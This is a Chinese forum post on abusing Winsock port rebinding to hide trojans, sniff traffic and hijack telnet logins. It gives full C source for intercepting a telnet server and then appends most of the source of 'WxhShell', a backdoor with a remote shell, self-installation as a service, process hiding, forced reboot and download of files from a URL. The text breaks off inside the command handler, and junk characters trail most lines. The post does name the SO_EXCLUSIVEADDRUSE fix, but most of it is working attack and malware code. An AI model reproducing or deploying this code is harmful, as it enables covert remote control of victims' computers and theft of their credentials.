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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {Cx5m   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y>^a~}Zq  
^Co-!jM  
  saddr.sin_family = AF_INET; Zi!Ta"}8  
{MUB4-@?F$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r~4uIUE{  
7u):J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rO1!h%&o"  
3*b5V<}'|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UtZ,q!sg  
j)A#}4jd  
  这意味着什么?意味着可以进行如下的攻击: D&@]  
\/A.j|by,>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4=zs&   
tK#R`AQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K5""%O+  
:{lwz#9V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GIC1]y-'  
C8N)!5(A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r"h;JC/&<T  
[Kg b#L'{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |c_qq Bd  
jc} G+|`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TJ|Jv8j<s  
I2cz:U7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VtreOJ+  
#(8|9  
  #include qUe _B  
  #include pSZ2>^";  
  #include 6cQgp]%  
  #include     4M'>oa  
  DWORD WINAPI ClientThread(LPVOID lpParam);   op,L3:R\Z  
  int main() 8[^'PIz  
  { QTV*m>D  
  WORD wVersionRequested; .n-#A  
  DWORD ret; y8Va>ul"U  
  WSADATA wsaData; 7R+(3NU1A  
  BOOL val; jmok]-pC  
  SOCKADDR_IN saddr; bF)G+IH  
  SOCKADDR_IN scaddr; 6*OL.~WE  
  int err; d:H'[l.F%  
  SOCKET s; l'@-?p(Vuw  
  SOCKET sc; VJh8`PVX  
  int caddsize; SC{m@  
  HANDLE mt; <g4}7l8  
  DWORD tid;   Yo-}uTkw  
  wVersionRequested = MAKEWORD( 2, 2 ); H=t"qEp  
  err = WSAStartup( wVersionRequested, &wsaData ); ]S|FK>U[  
  if ( err != 0 ) { niVR!l  
  printf("error!WSAStartup failed!\n"); !xM5 A[f  
  return -1; JTlk[ c  
  } IgT`on3Y  
  saddr.sin_family = AF_INET; &4#Zi.]  
   [,%=\%5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l6viP}R  
lW bu`y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WzMYRKZ  
  saddr.sin_port = htons(23); $Y$9]G":  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #el27"QP0  
  { Fe+ @;  
  printf("error!socket failed!\n"); +2tQ FV;  
  return -1; ==[,;g x  
  } 6|TSH$w_  
  val = TRUE; jvT'N@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _KT!OYH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) boh?Xt-$  
  { a"8[,A3  
  printf("error!setsockopt failed!\n"); s6H'}[E<  
  return -1; Fsx?(?tCMo  
  } u8e_Lqx?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <v"o+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !e$gp (4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5J5si<v25  
DE?v'7cmA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) . ,7bGY 1$  
  { 8~=*\ @^  
  ret=GetLastError(); y(A' *G9  
  printf("error!bind failed!\n"); O&`.R|v  
  return -1; @=J|%NO  
  } ?J[3_!"t  
  listen(s,2); U"oNJ8&%|  
  while(1) [ oWkd_dK  
  { Bqx5N"  
  caddsize = sizeof(scaddr); 8h )XULs2  
  //接受连接请求 2*Z2uV^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  8*ZsR)!  
  if(sc!=INVALID_SOCKET) rIb+c=|F  
  { Tt;F-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #-hO\ QdC  
  if(mt==NULL)  *kr/,_K  
  { >rG>Bz^Pu  
  printf("Thread Creat Failed!\n"); Io6/Fv>!  
  break; f| RmAP;X,  
  } @Z)|_  
  } u\R?(G&  
  CloseHandle(mt); Sb.8d]DW  
  } :t?B)  
  closesocket(s); }r}*=;Ea  
  WSACleanup(); 5/H,UL  
  return 0; ,'#TdLe  
  }   kmB!NxF>)F  
  DWORD WINAPI ClientThread(LPVOID lpParam) CB@7XUR  
  { :qYp%Ub  
  SOCKET ss = (SOCKET)lpParam; ~zp8%lEe  
  SOCKET sc; 3;nOm =I  
  unsigned char buf[4096]; ^:nc'C gP  
  SOCKADDR_IN saddr; -@To<<`n  
  long num; qY_qS=H^  
  DWORD val; =KRM`_QShg  
  DWORD ret; t0)1;aBZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XxqGsGx4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %idBR7?`g  
  saddr.sin_family = AF_INET; .hTqZvDa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P5S ]h  
  saddr.sin_port = htons(23); X -pbSq~5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?W/.'_  
  { {I#_0Q,i  
  printf("error!socket failed!\n"); J~~\0 u  
  return -1;  56.!L  
  } 0.GFg${v`  
  val = 100; c{#2;k Q,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %Ymi,o>  
  {  MlO OB  
  ret = GetLastError(); bQ< qdGa  
  return -1; V^~RDOSy7n  
  } g?j)p y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FaHOutP  
  { 7vRtTP  
  ret = GetLastError(); bzN[*X|  
  return -1; 5#Er& 6s  
  } }~FX!F#oU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^'UM@dd?!  
  { N['DqS =  
  printf("error!socket connect failed!\n"); 43=v2P0=Tj  
  closesocket(sc); !pU$'1D  
  closesocket(ss); fI.|QD*$b  
  return -1; Y2|i>5/|<  
  } 9#8vPjXW}.  
  while(1) l{By]S  
  { ?d')#WnC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +NlnK6T/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F>;Wbk&[|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <o EAy  
  num = recv(ss,buf,4096,0); FW]tDGJOw  
  if(num>0) yi7.9/;a  
  send(sc,buf,num,0); q'D Ts9Bj  
  else if(num==0) `[ZswLE  
  break; L*z=!Dpo  
  num = recv(sc,buf,4096,0); /$^Tou/v  
  if(num>0) :X>Wd+lY:_  
  send(ss,buf,num,0); Q_mphW:[  
  else if(num==0) -jH|L{Iyq}  
  break; dPUe5k)G_  
  } 1M ?BSH{  
  closesocket(ss); Kda'N$|`  
  closesocket(sc); mc{z  
  return 0 ; !Ko2yn}6l  
  } 3(YvqPp&  
qs4jUm  
r@G*Fx8Z  
========================================================== Z |$#  
HoI6(t  
下边附上一个代码,,WXhSHELL *WE8J#]d  
Q%e<0t7  
========================================================== ?m7:@GOE1  
1tuvJ+`{  
#include "stdafx.h" bWSN]]e1#  
8SRR)O[)}  
#include <stdio.h> n 0!8)Sth  
#include <string.h> 5es t  
#include <windows.h> W"\~O"a  
#include <winsock2.h> IjI'Hx  
#include <winsvc.h> }#z1>y!#  
#include <urlmon.h> ?v^NimcZ  
M/S~"iD  
#pragma comment (lib, "Ws2_32.lib") <q63?Ms'  
#pragma comment (lib, "urlmon.lib") \gA!)q.;  
~^wSwd[  
#define MAX_USER   100 // 最大客户端连接数 :s aP :&  
#define BUF_SOCK   200 // sock buffer ]b- 2:M  
#define KEY_BUFF   255 // 输入 buffer =v2 |QuS$  
;lObqs*?>  
#define REBOOT     0   // 重启 2|pTw5z~  
#define SHUTDOWN   1   // 关机 -wU]L5uP  
(/y8KG 3  
#define DEF_PORT   5000 // 监听端口 .Fb#j+Lq  
&V4Zm n?UU  
#define REG_LEN     16   // 注册表键长度 ~yv7[`+Tgg  
#define SVC_LEN     80   // NT服务名长度 b]u$!W  
Xhe& "rM  
// 从dll定义API Emlj,c<?j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *)m:u:   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5c- P lm%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XkI'm\W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q)75?mn  
yan^\)HZ  
// wxhshell配置信息 \Qml~?$@lH  
struct WSCFG { tYA@J["^  
  int ws_port;         // 监听端口 /x3*oO1  
  char ws_passstr[REG_LEN]; // 口令 pBtO1x6x/  
  int ws_autoins;       // 安装标记, 1=yes 0=no R"ON5,E  
  char ws_regname[REG_LEN]; // 注册表键名 ]4aPn  
  char ws_svcname[REG_LEN]; // 服务名 s`yzeo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w8lrpbLh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zx@!8Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <G pji5f2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $dfc@Fn^x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T//xxH]w-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $6Ma{rC|  
qbyYNlXqm  
}; \'|n.1Fr  
Jr!^9i2j'  
// default Wxhshell configuration t:wBh'K~R8  
struct WSCFG wscfg={DEF_PORT, h'y"`k -  
    "xuhuanlingzhe", yr\ClIU  
    1, 0%%1:W-  
    "Wxhshell", Jn+-G4h$  
    "Wxhshell", ?Q:SVxzUd  
            "WxhShell Service", w=KfkdAJ*/  
    "Wrsky Windows CmdShell Service", sx?IIFF  
    "Please Input Your Password: ", - 2)k!5X=  
  1, Jg#0g eU  
  "http://www.wrsky.com/wxhshell.exe", i(~DhXz*T  
  "Wxhshell.exe" #j2kT  
    }; k>&cHCS`*  
=.`\V]  
// 消息定义模块 7@@g|l]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9'MGv*Ho  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ni;)6,i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n)yDep]$G  
char *msg_ws_ext="\n\rExit."; M?l v  
char *msg_ws_end="\n\rQuit."; ~ z^?+MgZ2  
char *msg_ws_boot="\n\rReboot..."; "Enb   
char *msg_ws_poff="\n\rShutdown..."; 8AR8u!;8  
char *msg_ws_down="\n\rSave to "; e!6yxL*[@[  
eT b!xb  
char *msg_ws_err="\n\rErr!";  X}(s(6  
char *msg_ws_ok="\n\rOK!"; X>I3N?5  
U["0B8  
char ExeFile[MAX_PATH]; r+#{\~r7T  
int nUser = 0; x2v0cR"KL  
HANDLE handles[MAX_USER]; k4Q>J,k  
int OsIsNt;  kN=&"  
Y`~B> J  
SERVICE_STATUS       serviceStatus; ]I|(/+}M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; izP )t  
C0N :z.)4  
// 函数声明 L:HvrB~  
int Install(void); (z sG!v  
int Uninstall(void); J~%43!X\K  
int DownloadFile(char *sURL, SOCKET wsh); m%0 -3c(  
int Boot(int flag); '0 Cp  
void HideProc(void); ,HP }}K+S  
int GetOsVer(void); ^E^`"  
int Wxhshell(SOCKET wsl); J9lZ1,22  
void TalkWithClient(void *cs); 4iAF<|6s  
int CmdShell(SOCKET sock); :#:|:q.]  
int StartFromService(void); MpOU>\  
int StartWxhshell(LPSTR lpCmdLine); 5L3+KkX@  
t:2DB)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $udhTI#,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 44KoOY_  
N3"JouP  
// 数据结构和表定义 <0d2{RQ;  
SERVICE_TABLE_ENTRY DispatchTable[] =  G*z\ ^H  
{ mx^Ga=: ?  
{wscfg.ws_svcname, NTServiceMain}, \3hA_{ w  
{NULL, NULL} T'pL&@,Q  
}; JuO47}i]5  
~,/@]6S&Y  
// 自我安装 ?t YZ/  
int Install(void) .D@J\<,+l  
{ 4Ly>x>b<  
  char svExeFile[MAX_PATH]; vAX(3  
  HKEY key; uZ6krI  
  strcpy(svExeFile,ExeFile); C8K2F5c5  
4&W?: =H2  
// 如果是win9x系统,修改注册表设为自启动 mB-,\{)  
if(!OsIsNt) { 'xH^ksb"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `X<B+:>v-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Y>R1b%  
  RegCloseKey(key); 811>dVq3/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #gbB// <  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xr'1CP  
  RegCloseKey(key); l!*_[r   
  return 0; f$dPDbZQ  
    } O cL7] b0  
  } e |Ri  
} ;M?)-dpZ  
else { ]FCP|Jz  
rpKZ>S|7+)  
// 如果是NT以上系统,安装为系统服务 CM?:\$ 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i}vJI}S.$  
if (schSCManager!=0) f\_RW;y|m  
{ c|/HX%Y  
  SC_HANDLE schService = CreateService <UGaIb  
  ( N|DfE{,  
  schSCManager, Gd!-fqNa'x  
  wscfg.ws_svcname, ? Ek)" l  
  wscfg.ws_svcdisp, M!,H0( @G  
  SERVICE_ALL_ACCESS, PCl5,]B}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~xd?y*gk;  
  SERVICE_AUTO_START, 9[/0  
  SERVICE_ERROR_NORMAL, k|-\[Yl.  
  svExeFile, 6 \8d6x>  
  NULL, (fpz",[  
  NULL, D;+/ bll7  
  NULL, IQJ"B6U)  
  NULL, [NSslVr  
  NULL .?{no}u.  
  ); f30J8n"k  
  if (schService!=0) u+V*U5v  
  { *X .1b!  
  CloseServiceHandle(schService); 2u$-(JfoS  
  CloseServiceHandle(schSCManager); ,)`_?^ \$f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %}@iz(*}>  
  strcat(svExeFile,wscfg.ws_svcname); i >3`V6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?W'z5'|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nkHl;;WJ  
  RegCloseKey(key); !R8%C!=a  
  return 0; R&|.Lvmc/  
    } MtJ-pa~n  
  } :9QU\{2  
  CloseServiceHandle(schSCManager); g`pq*D  
} mn@1&#c4y  
} Ze V@ X  
S"!6]!~^  
return 1; ZN8j})lE  
} # `=Zc7gf  
`4*I1WZW  
// 自我卸载 :UdW4N-  
int Uninstall(void) _=$~l^Y[  
{ ,1ev2T  
  HKEY key; .RpJZ[E  
Xmr}$<<=  
if(!OsIsNt) { +0Q   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :^y!z1\2(7  
  RegDeleteValue(key,wscfg.ws_regname); lgews"  
  RegCloseKey(key); WX4sTxJK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ 9+ Qxv  
  RegDeleteValue(key,wscfg.ws_regname); v*.R<- X:  
  RegCloseKey(key); )=f}vHg$  
  return 0; O?OAXPK2  
  } jq H)o2"/  
} hJM& rM7  
} 2}&ERW  
else { 6La[( )  
GDLi ?3q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o^epXIrIPi  
if (schSCManager!=0) Nk9=A4=|  
{ *5Zow3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hwGK),?"+  
  if (schService!=0) :[<Y#EX.  
  { F?6kkLS/  
  if(DeleteService(schService)!=0) { EA~xxKq  
  CloseServiceHandle(schService); d[t0K]  
  CloseServiceHandle(schSCManager); _s;y0$O  
  return 0; Q# hRnM  
  } N|i>|2EB  
  CloseServiceHandle(schService); 4<[?qd 3v=  
  } ; $rQ  
  CloseServiceHandle(schSCManager); =%|`gZ  
} 2_pF#M9  
} #czI nXTTx  
 J#` 7!  
return 1; 6SCjlaGW5  
} |*?N#0s5h  
W5u5!L/  
// 从指定url下载文件 nWsRa uY  
int DownloadFile(char *sURL, SOCKET wsh) jgE{JK\n4  
{ Z8=?Hu  
  HRESULT hr; b%lB&}uw}  
char seps[]= "/"; CzV;{[?~;  
char *token; PzPNvV/o  
char *file; i$y=tJehi  
char myURL[MAX_PATH]; 8sj2@d  
char myFILE[MAX_PATH]; a[hF2/*  
w9Yx2  
strcpy(myURL,sURL); k*A(7qQA`4  
  token=strtok(myURL,seps); s{dm,|?Jl,  
  while(token!=NULL) <pk*z9   
  { "[ LUv5  
    file=token; g/C 7wc  
  token=strtok(NULL,seps); ~ n<|f  
  } _-fLD  
hp)>Nzdx  
GetCurrentDirectory(MAX_PATH,myFILE); 3.YH7rN  
strcat(myFILE, "\\"); | +;ZC y  
strcat(myFILE, file); DG;u_6;JR  
  send(wsh,myFILE,strlen(myFILE),0); {APfSD_4  
send(wsh,"...",3,0); O ?T~>|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gxd/t#;  
  if(hr==S_OK) `&NFl'l1C  
return 0; v.W!  
else aX.BaK6I  
return 1; KJFQ)#SW!  
p>)1Z<D"a  
} =+X*$'<J  
ZTTA??}Y  
// 系统电源模块 q-t%spkl  
int Boot(int flag) eSoX|2g  
{ p+P@I7V  
  HANDLE hToken; n`= S&oKH  
  TOKEN_PRIVILEGES tkp; ^U~Er'mT  
=-!jm? st*  
  if(OsIsNt) { q5g_5^csM{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HZ<#H3_ix  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J.rS@Z`~7  
    tkp.PrivilegeCount = 1; o2(w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AkW,Fp1e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -v9(43  
if(flag==REBOOT) { IG0_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L^e*_q2d:>  
  return 0; 2>"{El|PbN  
} HV!P]82Pa  
else { IRM jL.q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %enJ[a%Qg  
  return 0; ` .`:~_OE  
} ;s3@(OnjZ  
  } Rb<| <D+  
  else { d '2JMdbc  
if(flag==REBOOT) { :C;fEJN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _$*-?*V&  
  return 0; 'tTlBf7#  
} T2-x1Sw_  
else { 6iQqOAG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yaq0mef0  
  return 0; 4oF,;o+v\4  
} 36'J9h\  
} rKPsv*w  
}c/#WA|b  
return 1; w+rw<,u%  
} '_g&!zi8~  
-6 v?iiZr  
// win9x进程隐藏模块 lU|ltnU  
void HideProc(void) 6Hc25NuQZ  
{ @uC-dXA"  
3znhpHO)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M/V"Ke"N  
  if ( hKernel != NULL ) BCExhp  
  { y%--/;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  qjfv9sU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^ &KH|qRrO  
    FreeLibrary(hKernel); &\?{%xj  
  }  UDpI @  
$_ $%L0)5  
return; #euOq  
} 3s BWtz  
^?%ThPo_  
// 获取操作系统版本 <\:*cET3  
int GetOsVer(void) \^F6)COy  
{ 0jp y c  
  OSVERSIONINFO winfo; O'S xTwO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >y+j!)\  
  GetVersionEx(&winfo); \mN?5QCcE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ICoZ<;p  
  return 1; FlS)m`  
  else ?Wt_Obl  
  return 0; Rpcnpo  
} KJ?/]oLr0  
y^p%/p%  
// 客户端句柄模块 P\c0Q;){h"  
int Wxhshell(SOCKET wsl) (I`< ;  
{ u@wQ )^  
  SOCKET wsh; bv[*jr;45  
  struct sockaddr_in client; ,v| vgt  
  DWORD myID; 0g#?'sD  
QqY42hR  
  while(nUser<MAX_USER) 'U`I  
{ >fR#U"KPAB  
  int nSize=sizeof(client); b=Sl`&A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '.&,.E&{$  
  if(wsh==INVALID_SOCKET) return 1; y(#F&^|  
hYCyc -W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GLl@ 6S>v  
if(handles[nUser]==0) ,/L_9wV-\  
  closesocket(wsh); 1_W5@)  
else (aCl*vV1  
  nUser++; J! eVw\6  
  } Pb D|7IM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qj|B #dU  
E{9{%J  
  return 0; 8&f"")m  
} $0iN43WSQ  
Y@%6*uTLa  
// 关闭 socket m4P=,=%  
void CloseIt(SOCKET wsh) CtDS lJ  
{ PzTTL=G +  
closesocket(wsh); EZiGi[t7  
nUser--; %@M/)"k  
ExitThread(0); fs]Zw mA^  
} &sA6o"h~  
~pSD|WX  
// 客户端请求句柄 o:Z*F0qm  
void TalkWithClient(void *cs) p|%Y\!  
{ 7e#|=e *I!  
G@Zi3 5  
  SOCKET wsh=(SOCKET)cs; S+OI?QS  
  char pwd[SVC_LEN]; ")M.p_b[Z=  
  char cmd[KEY_BUFF]; FkE CY  
char chr[1]; B 9]sSx  
int i,j; !r!Mq~X<=  
~(0Y`+gC  
  while (nUser < MAX_USER) { j'0*|f^z  
/0YNB)  
if(wscfg.ws_passstr) { ZCJ8I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v:T` D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8UL:C?eY  
  //ZeroMemory(pwd,KEY_BUFF); ;1OTK6  
      i=0; O,1u\Zy/  
  while(i<SVC_LEN) { Mw5!9@Fc7  
E[Io8|QA  
  // 设置超时 %J%gXk}]  
  fd_set FdRead; :~)Q]G1Nj  
  struct timeval TimeOut; r@<;  
  FD_ZERO(&FdRead); 6nSk,yE'hE  
  FD_SET(wsh,&FdRead); w)8@Tu:Q  
  TimeOut.tv_sec=8; +ow ^xiD  
  TimeOut.tv_usec=0; s3kEux^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gZ!(&u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x!.VWGtb  
x}>tX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u!`C:C'  
  pwd=chr[0]; Iq}h}Wd  
  if(chr[0]==0xd || chr[0]==0xa) { |~CnELF)  
  pwd=0; a@r K%Iff  
  break; D3lYy>~d5;  
  } 80]TKf>  
  i++; ];2eIe  
    } &% r#eB?7  
22r01qH  
  // 如果是非法用户,关闭 socket O}f(h5!k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %Z5k8  
} ?RzT0HRd  
X9gC2iSs]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z "=(u wM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O}D8  
CijS=-  
while(1) { n*6s]iG V  
coFg69\^  
  ZeroMemory(cmd,KEY_BUFF); O`0$pn  
x[^A9  
      // 自动支持客户端 telnet标准   PrKl whi#  
  j=0; /#se>4]  
  while(j<KEY_BUFF) { /[IQ:':^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R39R$\  
  cmd[j]=chr[0]; lqCn5|S]  
  if(chr[0]==0xa || chr[0]==0xd) { K]Cvk%  
  cmd[j]=0; yl 8v&e{  
  break; 4F4u1r+  
  } Y#Vy:x[  
  j++; F i/G, [q  
    } |O9=C`G_  
# |I@`#O  
  // 下载文件 O]g+z$2o  
  if(strstr(cmd,"http://")) { -9*WQU9R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `pMI[pLZe  
  if(DownloadFile(cmd,wsh)) ,< icW &a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bgK(l d`  
  else rpT<cCem1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FVmg&[ .  
  } C|J1x4sb@  
  else { 85{vz|(':  
bX(*f>G'  
    switch(cmd[0]) { wqOhJYc  
  ,;-*q}U  
  // 帮助 |)-:w?  
  case '?': { UQcmHZ+lf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ggTjd"|)  
    break; ncdr/(`  
  } .am*d|&+G  
  // 安装 ,6S 8s  
  case 'i': { Fb' wC  
    if(Install()) u" g p">  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w1_Ux<RF  
    else K)@}Ok"#\4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WLl9>v^1  
    break; RGLA}|  
    } RHbp:Mlk  
  // 卸载 R*0F)M  
  case 'r': { 6v#G'M#r  
    if(Uninstall()) !v L :P2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KxwLKaImI  
    else n_Y]iAoc`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Qm;]?/  
    break; ,R =VzP&  
    } ~\G3 l,4  
  // 显示 wxhshell 所在路径 sD3|Qj;  
  case 'p': { ;LE @Ezx  
    char svExeFile[MAX_PATH]; fdG.=7`  
    strcpy(svExeFile,"\n\r"); 6I#DlAU@v  
      strcat(svExeFile,ExeFile); $IT9@}*{  
        send(wsh,svExeFile,strlen(svExeFile),0); Sh6Cw4 R  
    break; Vgn1I(Gj4  
    } ZRm\d3x4  
  // 重启 !?*!"S-Sl  
  case 'b': { Y%l3SB,5L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~Wm}M  
    if(Boot(REBOOT)) F8Wq&X#r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1[`<JCFClc  
    else { <;e#"(7  
    closesocket(wsh); XE*bRTEw  
    ExitThread(0); *^Y0}?]qT  
    } ?|GxVOl  
    break; Dg+d=I?  
